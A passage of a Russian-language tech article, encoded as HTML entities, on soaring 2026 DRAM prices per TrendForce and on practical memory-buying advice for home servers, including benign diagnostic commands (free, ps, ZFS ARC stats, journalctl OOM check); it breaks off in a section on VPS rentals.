&#x421;&#x43E; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x44B; &#x430;&#x43D;&#x430;&#x43B;&#x438;&#x442;&#x438;&#x43A;&#x43E;&#x432; &#x43A;&#x430;&#x440;&#x442;&#x438;&#x43D;&#x430; &#x442;&#x430; &#x436;&#x435;. TrendForce &#x432; &#x442;&#x43E;&#x442; &#x436;&#x435; &#x434;&#x435;&#x43D;&#x44C; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x438;&#x43B;, &#x447;&#x442;&#x43E; &#x43D;&#x435;&#x43C;&#x435;&#x446;&#x43A;&#x438;&#x439; &#x438;&#x43D;&#x434;&#x435;&#x43A;&#x441; &#x446;&#x435;&#x43D; &#x43D;&#x430; DDR5 &#x43F;&#x43E;&#x434;&#x43D;&#x44F;&#x43B;&#x441;&#x44F; &#x437;&#x430; &#x43C;&#x435;&#x441;&#x44F;&#x446; &#x441; 445 % &#x434;&#x43E; 486 %: &#x442;&#x438;&#x43F;&#x438;&#x447;&#x43D;&#x44B;&#x439; &#x43A;&#x43E;&#x43C;&#x43F;&#x43B;&#x435;&#x43A;&#x442; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x442;&#x430;&#x43C; &#x43F;&#x43E;&#x447;&#x442;&#x438; &#x432; 4,9 &#x440;&#x430;&#x437;&#x430; &#x434;&#x43E;&#x440;&#x43E;&#x436;&#x435; &#x43F;&#x440;&#x43E;&#x448;&#x43B;&#x43E;&#x433;&#x43E;&#x434;&#x43D;&#x435;&#x433;&#x43E;. &#x41F;&#x440;&#x43E; &#x41A;&#x438;&#x442;&#x430;&#x439; &#x444;&#x43E;&#x440;&#x43C;&#x443;&#x43B;&#x438;&#x440;&#x43E;&#x432;&#x43A;&#x438; &#x43E;&#x441;&#x442;&#x43E;&#x440;&#x43E;&#x436;&#x43D;&#x435;&#x435; &#x2014; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43E; &#x43D;&#x435;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;&#x43C; &#x441;&#x43A;&#x430;&#x447;&#x43A;&#x435; &#x441;&#x43F;&#x43E;&#x442;&#x43E;&#x432;&#x44B;&#x445; &#x446;&#x435;&#x43D; &#x43F;&#x440;&#x438;&#x43C;&#x435;&#x440;&#x43D;&#x43E; &#x43D;&#x430; 14 %, &#x43F;&#x440;&#x438; &#x44D;&#x442;&#x43E;&#x43C; 24-&#x433;&#x438;&#x433;&#x430;&#x431;&#x438;&#x442;&#x43D;&#x430;&#x44F; &#x43C;&#x438;&#x43A;&#x440;&#x43E;&#x441;&#x445;&#x435;&#x43C;&#x430; &#x434;&#x43E;&#x445;&#x43E;&#x434;&#x438;&#x43B;&#x430; &#x434;&#x43E; 48 &#x434;&#x43E;&#x43B;&#x43B;&#x430;&#x440;&#x43E;&#x432;, 16-&#x433;&#x438;&#x433;&#x430;&#x431;&#x438;&#x442;&#x43D;&#x430;&#x44F; &#x2014; &#x434;&#x43E; 40. &#x42D;&#x442;&#x43E; &#x43F;&#x435;&#x440;&#x435;&#x441;&#x43A;&#x430;&#x437; &#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x445; &#x43F;&#x43B;&#x43E;&#x449;&#x430;&#x434;&#x43A;&#x438; &#x432; &#x428;&#x44D;&#x43D;&#x44C;&#x447;&#x436;&#x44D;&#x43D;&#x435;, &#x430; &#x43D;&#x435; &#x441;&#x43E;&#x431;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x43E;&#x435; &#x438;&#x437;&#x43C;&#x435;&#x440;&#x435;&#x43D;&#x438;&#x435;, &#x438; &#x432;&#x435;&#x441; &#x443; &#x442;&#x430;&#x43A;&#x43E;&#x439; &#x446;&#x438;&#x444;&#x440;&#x44B; &#x441;&#x43E;&#x43E;&#x442;&#x432;&#x435;&#x442;&#x441;&#x442;&#x432;&#x443;&#x44E;&#x449;&#x438;&#x439;. 
&#x2139;&#xFE0F; &#x421;&#x43F;&#x440;&#x430;&#x432;&#x43A;&#x430; &#x41E;&#x442;&#x447;&#x435;&#x433;&#x43E; DDR4 &#x43E;&#x442;&#x441;&#x442;&#x430;&#x451;&#x442; &#x43F;&#x43E; &#x442;&#x435;&#x43C;&#x43F;&#x443;. &#x421;&#x442;&#x430;&#x440;&#x44B;&#x435; &#x43B;&#x438;&#x43D;&#x438;&#x438; &#x441;&#x432;&#x43E;&#x440;&#x430;&#x447;&#x438;&#x432;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x432; &#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x443; &#x442;&#x43E;&#x433;&#x43E;, &#x447;&#x442;&#x43E; &#x437;&#x430;&#x431;&#x438;&#x440;&#x430;&#x44E;&#x442; &#x434;&#x430;&#x442;&#x430;-&#x446;&#x435;&#x43D;&#x442;&#x440;&#x44B;, &#x43F;&#x43E;&#x44D;&#x442;&#x43E;&#x43C;&#x443; DDR4 &#x440;&#x430;&#x441;&#x442;&#x451;&#x442; &#x441;&#x43A;&#x43E;&#x440;&#x435;&#x435; &#x43E;&#x442; &#x43D;&#x435;&#x445;&#x432;&#x430;&#x442;&#x43A;&#x438; &#x43F;&#x440;&#x435;&#x434;&#x43B;&#x43E;&#x436;&#x435;&#x43D;&#x438;&#x44F;, &#x447;&#x435;&#x43C; &#x43E;&#x442; &#x434;&#x440;&#x430;&#x43A;&#x438; &#x437;&#x430; &#x43D;&#x435;&#x433;&#x43E;. &#x414;&#x43B;&#x44F; &#x43D;&#x430;&#x441; &#x44D;&#x442;&#x43E; &#x437;&#x43D;&#x430;&#x447;&#x438;&#x442;, &#x447;&#x442;&#x43E; &#x43F;&#x43B;&#x430;&#x442;&#x444;&#x43E;&#x440;&#x43C;&#x44B; &#x43D;&#x430; DDR4 &#x43F;&#x43E;&#x43A;&#x430; &#x43E;&#x441;&#x442;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x43E;&#x442;&#x43D;&#x43E;&#x441;&#x438;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x432;&#x43C;&#x435;&#x43D;&#x44F;&#x435;&#x43C;&#x43E;&#x439; &#x442;&#x43E;&#x447;&#x43A;&#x43E;&#x439; &#x432;&#x445;&#x43E;&#x434;&#x430; &#x432; &#x434;&#x43E;&#x43C;&#x430;&#x448;&#x43D;&#x438;&#x439; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;. &#x41F;&#x43E;&#x43A;&#x430; &#x2014; &#x442;&#x43E; &#x435;&#x441;&#x442;&#x44C; &#x44D;&#x442;&#x43E; &#x432;&#x440;&#x435;&#x43C;&#x435;&#x43D;&#x43D;&#x43E;&#x435; &#x43E;&#x43A;&#x43D;&#x43E;, &#x430; &#x43D;&#x435; &#x441;&#x432;&#x43E;&#x439;&#x441;&#x442;&#x432;&#x43E; &#x440;&#x44B;&#x43D;&#x43A;&#x430;. 
&#x41F;&#x440;&#x43E;&#x433;&#x43D;&#x43E;&#x437;&#x43D;&#x430;&#x44F; &#x447;&#x430;&#x441;&#x442;&#x44C; &#x443; TrendForce &#x442;&#x43E;&#x436;&#x435; &#x435;&#x441;&#x442;&#x44C;: &#x43A;&#x43E;&#x43D;&#x442;&#x440;&#x430;&#x43A;&#x442;&#x43D;&#x44B;&#x435; &#x446;&#x435;&#x43D;&#x44B; &#x43D;&#x430; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x43D;&#x443;&#x44E; DRAM &#x432; &#x442;&#x440;&#x435;&#x442;&#x44C;&#x435;&#x43C; &#x43A;&#x432;&#x430;&#x440;&#x442;&#x430;&#x43B;&#x435; 2026 &#x433;&#x43E;&#x434;&#x430; &#x43E;&#x436;&#x438;&#x434;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x441; &#x43F;&#x440;&#x438;&#x440;&#x43E;&#x441;&#x442;&#x43E;&#x43C; 13&#x2013;18 % &#x437;&#x430; &#x43A;&#x432;&#x430;&#x440;&#x442;&#x430;&#x43B;, &#x430; &#x43D;&#x435;&#x434;&#x43E;&#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x43A;&#x443; &#x430;&#x43D;&#x430;&#x43B;&#x438;&#x442;&#x438;&#x43A;&#x438; &#x43F;&#x440;&#x43E;&#x434;&#x43B;&#x435;&#x432;&#x430;&#x44E;&#x442; &#x434;&#x43E; 2027 &#x433;&#x43E;&#x434;&#x430;. 
&#x26A0;&#xFE0F; &#x41E;&#x441;&#x442;&#x43E;&#x440;&#x43E;&#x436;&#x43D;&#x43E; &#x41A; &#x43F;&#x440;&#x43E;&#x433;&#x43D;&#x43E;&#x437;&#x430;&#x43C; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x43E;&#x442;&#x43D;&#x43E;&#x441;&#x438;&#x442;&#x44C;&#x441;&#x44F; &#x43A;&#x430;&#x43A; &#x43A; &#x43F;&#x440;&#x43E;&#x433;&#x43D;&#x43E;&#x437;&#x430;&#x43C;. &#xAB;&#x414;&#x435;&#x444;&#x438;&#x446;&#x438;&#x442; &#x434;&#x43E; 2027-&#x433;&#x43E;&#xBB; &#x437;&#x432;&#x443;&#x447;&#x438;&#x442; &#x441;&#x43E;&#x43B;&#x438;&#x434;&#x43D;&#x43E;, &#x43D;&#x43E; &#x432; 2018 &#x433;&#x43E;&#x434;&#x443; &#x440;&#x44B;&#x43D;&#x43E;&#x43A; &#x43F;&#x430;&#x43C;&#x44F;&#x442;&#x438; &#x440;&#x430;&#x437;&#x432;&#x435;&#x440;&#x43D;&#x443;&#x43B;&#x441;&#x44F; &#x432;&#x43D;&#x438;&#x437; &#x437;&#x430; &#x43E;&#x434;&#x438;&#x43D; &#x43A;&#x432;&#x430;&#x440;&#x442;&#x430;&#x43B; &#x43F;&#x43E;&#x441;&#x43B;&#x435; &#x43F;&#x43E;&#x447;&#x442;&#x438; &#x434;&#x432;&#x443;&#x445;&#x43B;&#x435;&#x442;&#x43D;&#x435;&#x433;&#x43E; &#x43F;&#x43E;&#x434;&#x44A;&#x451;&#x43C;&#x430;. &#x417;&#x430;&#x43A;&#x443;&#x43F;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x438;&#x437; &#x441;&#x43E;&#x43E;&#x431;&#x440;&#x430;&#x436;&#x435;&#x43D;&#x438;&#x44F; &#xAB;&#x434;&#x430;&#x43B;&#x44C;&#x448;&#x435; &#x431;&#x443;&#x434;&#x435;&#x442; &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x434;&#x43E;&#x440;&#x43E;&#x436;&#x435;&#xBB; &#x2014; &#x442;&#x430;&#x43A;&#x430;&#x44F; &#x436;&#x435; &#x441;&#x442;&#x430;&#x432;&#x43A;&#x430;, &#x43A;&#x430;&#x43A; &#x438; &#x432;&#x44B;&#x436;&#x438;&#x434;&#x430;&#x43D;&#x438;&#x435;. &#x41E;&#x442;&#x43B;&#x438;&#x447;&#x438;&#x435; &#x432; &#x442;&#x43E;&#x43C;, &#x447;&#x442;&#x43E; &#x43F;&#x435;&#x440;&#x432;&#x430;&#x44F; &#x441;&#x442;&#x430;&#x432;&#x43A;&#x430; &#x441;&#x43F;&#x438;&#x441;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x434;&#x435;&#x43D;&#x44C;&#x433;&#x438; &#x43D;&#x435;&#x43C;&#x435;&#x434;&#x43B;&#x435;&#x43D;&#x43D;&#x43E;. 
&#x415;&#x441;&#x43B;&#x438; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440; &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x441;&#x43E;&#x431;&#x438;&#x440;&#x430;&#x435;&#x442;&#x441;&#x44F;
&#x412;&#x43F;&#x435;&#x440;&#x432;&#x44B;&#x435; &#x437;&#x430; &#x434;&#x43E;&#x43B;&#x433;&#x43E;&#x435; &#x432;&#x440;&#x435;&#x43C;&#x44F; &#x43F;&#x430;&#x43C;&#x44F;&#x442;&#x44C; &#x441;&#x43F;&#x43E;&#x441;&#x43E;&#x431;&#x43D;&#x430; &#x43E;&#x43A;&#x430;&#x437;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x441;&#x430;&#x43C;&#x43E;&#x439; &#x434;&#x43E;&#x440;&#x43E;&#x433;&#x43E;&#x439; &#x441;&#x442;&#x440;&#x43E;&#x43A;&#x43E;&#x439; &#x441;&#x43C;&#x435;&#x442;&#x44B; &#x2014; &#x434;&#x43E;&#x440;&#x43E;&#x436;&#x435; &#x43F;&#x440;&#x43E;&#x446;&#x435;&#x441;&#x441;&#x43E;&#x440;&#x430; &#x438; &#x434;&#x43E;&#x440;&#x43E;&#x436;&#x435; &#x43D;&#x430;&#x43A;&#x43E;&#x43F;&#x438;&#x442;&#x435;&#x43B;&#x435;&#x439;. &#x41E;&#x442;&#x441;&#x44E;&#x434;&#x430; &#x43D;&#x435;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x441;&#x43B;&#x435;&#x434;&#x441;&#x442;&#x432;&#x438;&#x439;. 
&#x2705; &#x41A;&#x430;&#x43A; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x44C;&#x43D;&#x43E; &#x421;&#x43C;&#x435;&#x442;&#x443; &#x441;&#x447;&#x438;&#x442;&#x430;&#x439;&#x442;&#x435; &#x43E;&#x442; &#x43F;&#x430;&#x43C;&#x44F;&#x442;&#x438;, &#x430; &#x43D;&#x435; &#x43E;&#x442; &#x43F;&#x440;&#x43E;&#x446;&#x435;&#x441;&#x441;&#x43E;&#x440;&#x430;: &#x441;&#x43D;&#x430;&#x447;&#x430;&#x43B;&#x430; &#x43E;&#x43F;&#x440;&#x435;&#x434;&#x435;&#x43B;&#x438;&#x442;&#x435;&#x441;&#x44C; &#x441; &#x43D;&#x443;&#x436;&#x43D;&#x44B;&#x43C; &#x43E;&#x431;&#x44A;&#x451;&#x43C;&#x43E;&#x43C;, &#x437;&#x430;&#x442;&#x435;&#x43C; &#x43F;&#x43E;&#x434;&#x431;&#x438;&#x440;&#x430;&#x439;&#x442;&#x435; &#x43F;&#x43B;&#x430;&#x442;&#x444;&#x43E;&#x440;&#x43C;&#x443; &#x43F;&#x43E;&#x434; &#x43D;&#x435;&#x433;&#x43E;.&#x41D;&#x435; &#x437;&#x430;&#x43D;&#x438;&#x43C;&#x430;&#x439;&#x442;&#x435; &#x447;&#x435;&#x442;&#x44B;&#x440;&#x435; &#x441;&#x43B;&#x43E;&#x442;&#x430; &#x442;&#x430;&#x43C;, &#x433;&#x434;&#x435; &#x445;&#x432;&#x430;&#x442;&#x438;&#x442; &#x434;&#x432;&#x443;&#x445;. &#x421;&#x432;&#x43E;&#x431;&#x43E;&#x434;&#x43D;&#x44B;&#x439; &#x441;&#x43B;&#x43E;&#x442; &#x2014; &#x44D;&#x442;&#x43E; &#x43E;&#x43F;&#x446;&#x438;&#x43E;&#x43D; &#x43D;&#x430; &#x431;&#x443;&#x434;&#x443;&#x449;&#x435;&#x435;, &#x438; &#x441;&#x435;&#x433;&#x43E;&#x434;&#x43D;&#x44F; &#x43E;&#x43D; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x43D;&#x435;&#x43E;&#x431;&#x44B;&#x447;&#x43D;&#x43E; &#x434;&#x43E;&#x440;&#x43E;&#x433;&#x43E;.&#x41F;&#x440;&#x438;&#x441;&#x43C;&#x43E;&#x442;&#x440;&#x438;&#x442;&#x435;&#x441;&#x44C; &#x43A; &#x431;&#x44B;&#x432;&#x448;&#x438;&#x43C; &#x432; &#x443;&#x43F;&#x43E;&#x442;&#x440;&#x435;&#x431;&#x43B;&#x435;&#x43D;&#x438;&#x438; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x43D;&#x44B;&#x43C; &#x43F;&#x43B;&#x430;&#x442;&#x444;&#x43E;&#x440;&#x43C;&#x430;&#x43C; &#x441; DDR4 RDIMM &#x438;&#x43B;&#x438; LRDIMM. &#x420;&#x435;&#x433;&#x438;&#x441;&#x442;&#x440;&#x43E;&#x432;&#x430;&#x44F; &#x43F;&#x430;&#x43C;&#x44F;&#x442;&#x44C; &#x441;&#x43E; &#x441;&#x43F;&#x438;&#x441;&#x430;&#x43D;&#x43D;&#x44B;&#x445; &#x43C;&#x430;&#x448;&#x438;&#x43D; &#x43E;&#x441;&#x442;&#x430;&#x451;&#x442;&#x441;&#x44F; &#x441;&#x430;&#x43C;&#x44B;&#x43C; &#x434;&#x435;&#x448;&#x451;&#x432;&#x44B;&#x43C; &#x441;&#x43F;&#x43E;&#x441;&#x43E;&#x431;&#x43E;&#x43C; &#x43D;&#x430;&#x431;&#x440;&#x430;&#x442;&#x44C; &#x43C;&#x43D;&#x43E;&#x433;&#x43E; &#x433;&#x438;&#x433;&#x430;&#x431;&#x430;&#x439;&#x442; &#x2014; &#x435;&#x441;&#x43B;&#x438; &#x43C;&#x430;&#x442;&#x435;&#x440;&#x438;&#x43D;&#x441;&#x43A;&#x430;&#x44F; &#x43F;&#x43B;&#x430;&#x442;&#x430; &#x435;&#x451; &#x43F;&#x440;&#x438;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x442;.&#x41F;&#x435;&#x440;&#x435;&#x441;&#x447;&#x438;&#x442;&#x430;&#x439;&#x442;&#x435;, &#x43D;&#x443;&#x436;&#x435;&#x43D; &#x43B;&#x438; &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x44B;&#x439; &#x443;&#x437;&#x435;&#x43B; &#x43F;&#x43E;&#x434; &#x43A;&#x430;&#x436;&#x434;&#x443;&#x44E; &#x437;&#x430;&#x434;&#x430;&#x447;&#x443;. &#x41E;&#x434;&#x438;&#x43D; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440; &#x441; 32 &#x413;&#x411; &#x441;&#x435;&#x439;&#x447;&#x430;&#x441; &#x43E;&#x431;&#x445;&#x43E;&#x434;&#x438;&#x442;&#x441;&#x44F; &#x434;&#x435;&#x448;&#x435;&#x432;&#x43B;&#x435; &#x43F;&#x430;&#x440;&#x44B; &#x43F;&#x43E; 16.
&#x427;&#x435;&#x433;&#x43E; &#x442;&#x43E;&#x447;&#x43D;&#x43E; &#x43D;&#x435; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x434;&#x435;&#x43B;&#x430;&#x442;&#x44C; &#x2014; &#x431;&#x440;&#x430;&#x442;&#x44C; &#x43A;&#x43E;&#x43C;&#x43F;&#x43B;&#x435;&#x43A;&#x442; &#x432;&#x434;&#x432;&#x43E;&#x435; &#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x435; &#x43D;&#x435;&#x43E;&#x431;&#x445;&#x43E;&#x434;&#x438;&#x43C;&#x43E;&#x433;&#x43E; &#x432; &#x440;&#x430;&#x441;&#x447;&#x451;&#x442;&#x435; &#x43D;&#x430; &#x434;&#x430;&#x43B;&#x44C;&#x43D;&#x435;&#x439;&#x448;&#x435;&#x435; &#x43F;&#x43E;&#x434;&#x43E;&#x440;&#x43E;&#x436;&#x430;&#x43D;&#x438;&#x435;. &#x42D;&#x442;&#x43E; &#x443;&#x436;&#x435; &#x43D;&#x435; &#x43C;&#x43E;&#x434;&#x435;&#x440;&#x43D;&#x438;&#x437;&#x430;&#x446;&#x438;&#x44F;, &#x430; &#x441;&#x43F;&#x435;&#x43A;&#x443;&#x43B;&#x44F;&#x442;&#x438;&#x432;&#x43D;&#x430;&#x44F; &#x441;&#x434;&#x435;&#x43B;&#x43A;&#x430;, &#x43F;&#x440;&#x438;&#x447;&#x451;&#x43C; &#x441; &#x43F;&#x43B;&#x435;&#x447;&#x43E;&#x43C; &#x432; &#x432;&#x438;&#x434;&#x435; &#x441;&#x432;&#x43E;&#x431;&#x43E;&#x434;&#x43D;&#x43E;&#x433;&#x43E; &#x431;&#x44E;&#x434;&#x436;&#x435;&#x442;&#x430; &#x438; &#x431;&#x435;&#x437; &#x432;&#x43D;&#x44F;&#x442;&#x43D;&#x43E;&#x433;&#x43E; &#x432;&#x44B;&#x445;&#x43E;&#x434;&#x430;. 
&#x415;&#x441;&#x43B;&#x438; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440; &#x443;&#x436;&#x435; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x435;&#x442;
&#x41F;&#x435;&#x440;&#x432;&#x44B;&#x439; &#x432;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x43E;&#x431;&#x44B;&#x447;&#x43D;&#x43E; &#x437;&#x432;&#x443;&#x447;&#x438;&#x442; &#x43A;&#x430;&#x43A; &#xAB;&#x434;&#x43E;&#x43A;&#x443;&#x43F;&#x430;&#x442;&#x44C; &#x43B;&#x438; &#x43F;&#x43B;&#x430;&#x43D;&#x43A;&#x438;, &#x43F;&#x43E;&#x43A;&#x430; &#x43D;&#x435; &#x43F;&#x43E;&#x434;&#x43E;&#x440;&#x43E;&#x436;&#x430;&#x43B;&#x43E; &#x435;&#x449;&#x451;&#xBB;. &#x41E;&#x442;&#x432;&#x435;&#x447;&#x430;&#x442;&#x44C; &#x43D;&#x430; &#x43D;&#x435;&#x433;&#x43E; &#x438;&#x43C;&#x435;&#x435;&#x442; &#x441;&#x43C;&#x44B;&#x441;&#x43B; &#x43F;&#x43E;&#x441;&#x43B;&#x435; &#x442;&#x43E;&#x433;&#x43E;, &#x43A;&#x430;&#x43A; &#x432;&#x44B; &#x43F;&#x43E;&#x441;&#x43C;&#x43E;&#x442;&#x440;&#x438;&#x442;&#x435; &#x43D;&#x430; &#x444;&#x430;&#x43A;&#x442;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x43E;&#x435; &#x43F;&#x43E;&#x442;&#x440;&#x435;&#x431;&#x43B;&#x435;&#x43D;&#x438;&#x435;, &#x430; &#x43D;&#x435; &#x43D;&#x430; &#x446;&#x438;&#x444;&#x440;&#x443; &#x438;&#x437; free. 
# &#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43F;&#x430;&#x43C;&#x44F;&#x442;&#x438; &#x440;&#x435;&#x430;&#x43B;&#x44C;&#x43D;&#x43E; &#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x43D;&#x43E; (&#x441;&#x442;&#x43E;&#x43B;&#x431;&#x435;&#x446; available, &#x43D;&#x435; free)
free -h

# &#x43A;&#x442;&#x43E; &#x438;&#x43C;&#x435;&#x43D;&#x43D;&#x43E; &#x43F;&#x43E;&#x442;&#x440;&#x435;&#x431;&#x43B;&#x44F;&#x435;&#x442;: &#x43F;&#x44F;&#x442;&#x43D;&#x430;&#x434;&#x446;&#x430;&#x442;&#x44C; &#x43F;&#x440;&#x43E;&#x446;&#x435;&#x441;&#x441;&#x43E;&#x432; &#x43F;&#x43E; RSS
ps -eo pid,comm,rss --sort=-rss | head -16

# &#x440;&#x430;&#x437;&#x43C;&#x435;&#x440; &#x43A;&#x44D;&#x448;&#x430; ARC, &#x435;&#x441;&#x43B;&#x438; &#x43F;&#x43E;&#x434; &#x432;&#x430;&#x43C;&#x438; ZFS
cat /proc/spl/kstat/zfs/arcstats | grep -E '^size|^c_max'
&#x1F4CC; &#x417;&#x430;&#x43C;&#x435;&#x442;&#x43A;&#x430; &#x422;&#x438;&#x43F;&#x43E;&#x432;&#x430;&#x44F; &#x43E;&#x448;&#x438;&#x431;&#x43A;&#x430; &#x434;&#x43E;&#x43C;&#x430;&#x448;&#x43D;&#x435;&#x433;&#x43E; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x430; &#x432;&#x44B;&#x433;&#x43B;&#x44F;&#x434;&#x438;&#x442; &#x442;&#x430;&#x43A;: &#x43C;&#x43E;&#x43D;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x43D;&#x433; &#x440;&#x438;&#x441;&#x443;&#x435;&#x442; 90 % &#x437;&#x430;&#x43D;&#x44F;&#x442;&#x43E;&#x439; &#x43F;&#x430;&#x43C;&#x44F;&#x442;&#x438;, &#x432;&#x43B;&#x430;&#x434;&#x435;&#x43B;&#x435;&#x446; &#x438;&#x434;&#x451;&#x442; &#x437;&#x430; &#x43F;&#x43B;&#x430;&#x43D;&#x43A;&#x430;&#x43C;&#x438; &#x2014; &#x430; &#x44D;&#x442;&#x43E; &#x441;&#x442;&#x440;&#x430;&#x43D;&#x438;&#x447;&#x43D;&#x44B;&#x439; &#x43A;&#x44D;&#x448; &#x438; ARC, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x435; &#x44F;&#x434;&#x440;&#x43E; &#x43E;&#x442;&#x434;&#x430;&#x441;&#x442; &#x43F;&#x43E;&#x434; &#x43D;&#x430;&#x433;&#x440;&#x443;&#x437;&#x43A;&#x443; &#x43C;&#x433;&#x43D;&#x43E;&#x432;&#x435;&#x43D;&#x43D;&#x43E;. &#x41E;&#x440;&#x438;&#x435;&#x43D;&#x442;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x43D;&#x443;&#x436;&#x43D;&#x43E; &#x43D;&#x430; &#x441;&#x442;&#x43E;&#x43B;&#x431;&#x435;&#x446; available, &#x43D;&#x430; &#x438;&#x441;&#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x43E;&#x432;&#x430;&#x43D;&#x438;&#x435; &#x43F;&#x43E;&#x434;&#x43A;&#x430;&#x447;&#x43A;&#x438; &#x438; &#x43D;&#x430; &#x442;&#x43E;, &#x43F;&#x440;&#x438;&#x445;&#x43E;&#x434;&#x438;&#x43B; &#x43B;&#x438; &#x432;&#x43E;&#x43E;&#x431;&#x449;&#x435; OOM-killer: journalctl -k | grep -i "out of memory". &#x41D;&#x438; &#x43E;&#x434;&#x43D;&#x43E;&#x433;&#x43E; &#x441;&#x440;&#x430;&#x431;&#x430;&#x442;&#x44B;&#x432;&#x430;&#x43D;&#x438;&#x44F; &#x438; &#x43D;&#x435;&#x442;&#x440;&#x43E;&#x43D;&#x443;&#x442;&#x44B;&#x439; &#x441;&#x432;&#x43E;&#x43F; &#x43E;&#x437;&#x43D;&#x430;&#x447;&#x430;&#x44E;&#x442;, &#x447;&#x442;&#x43E; &#x43F;&#x43E;&#x43A;&#x443;&#x43F;&#x430;&#x442;&#x44C; &#x43D;&#x435;&#x447;&#x435;&#x433;&#x43E;. 
&#x412;&#x442;&#x43E;&#x440;&#x43E;&#x435;, &#x447;&#x442;&#x43E; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x43F;&#x43E;&#x43C;&#x435;&#x43D;&#x44F;&#x442;&#x44C; &#x432; &#x43F;&#x440;&#x438;&#x432;&#x44B;&#x447;&#x43A;&#x430;&#x445; &#x43F;&#x440;&#x438; &#x43D;&#x44B;&#x43D;&#x435;&#x448;&#x43D;&#x438;&#x445; &#x446;&#x435;&#x43D;&#x43D;&#x438;&#x43A;&#x430;&#x445;, &#x2014; &#x43F;&#x435;&#x440;&#x435;&#x441;&#x442;&#x430;&#x442;&#x44C; &#x432;&#x44B;&#x431;&#x440;&#x430;&#x441;&#x44B;&#x432;&#x430;&#x442;&#x44C;. &#x41F;&#x43B;&#x430;&#x43D;&#x43A;&#x438; DDR4 &#x438;&#x437; &#x441;&#x43F;&#x438;&#x441;&#x430;&#x43D;&#x43D;&#x44B;&#x445; &#x43C;&#x430;&#x448;&#x438;&#x43D; &#x442;&#x435;&#x43F;&#x435;&#x440;&#x44C; &#x441;&#x442;&#x43E;&#x44F;&#x442; &#x43D;&#x430;&#x441;&#x442;&#x43E;&#x44F;&#x449;&#x438;&#x445; &#x434;&#x435;&#x43D;&#x435;&#x433;, &#x430; &#x441;&#x43E;&#x432;&#x43C;&#x435;&#x441;&#x442;&#x438;&#x43C;&#x43E;&#x441;&#x442;&#x44C; &#x434;&#x43E;&#x43C;&#x430;&#x448;&#x43D;&#x435;&#x433;&#x43E; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x430; &#x441; &#x43D;&#x438;&#x43C;&#x438; &#x43E;&#x431;&#x44B;&#x447;&#x43D;&#x43E; &#x448;&#x438;&#x440;&#x435; &#x43E;&#x436;&#x438;&#x434;&#x430;&#x435;&#x43C;&#x43E;&#x439;. 
&#x415;&#x441;&#x43B;&#x438; &#x432;&#x44B; &#x430;&#x440;&#x435;&#x43D;&#x434;&#x443;&#x435;&#x442;&#x435; VPS
&#x417;&#x434;&#x435;&#x441;&#x44C; &#x43F;&#x440;&#x438;&#x434;&#x451;&#x442;&#x441;&#x44F; &#x447;&#x435;&#x441;&#x442;&#x43D;&#x43E; &#x43E;&#x433;&#x43E;&#x432;&#x43E;&#x440;&#x438;&#x442;&#x44C;&#x441;&#x44F;: &#x43F;&#x43E;&#x434;&#x442;&#x432;&#x435;&#x440;&#x436;&#x434;&#x451;&#x43D;&#x43D;&#x44B;&#x445; &#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x445; &#x43E; &#x442;&#x43E;&#x43C;, &#x447;&#x442;&#x43E; &#x442;&#x430;&#x440;&#x438;&#x444;&#x44B; &#x430;&#x440;&#x435;&#x43D;&#x434;&#x44B; &#x432;&#x44B;&#x440;&#x43E;&#x441;&#x43B;&#x438; &#x441;&#x43B;&#x435;&#x434;&#x43E;&#x43C; &#x437;&#x430; &#x436;&#x435;&#x43B;&#x435;&#x437;&#x43E;&#x43C;, &#x443; &#x43C;&#x435;&#x43D;&#x44F; &#x43D;&#x435;&#x442;, &#x438; &#x443;&#x442;&#x432;&#x435;&#x440;&#x436;&#x434;&#x430;&#x442;&#x44C; &#x44D;&#x442;&#x43E; &#x431;&#x435;&#x437; &#x438;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x430; &#x44F; &#x43D;&#x435; 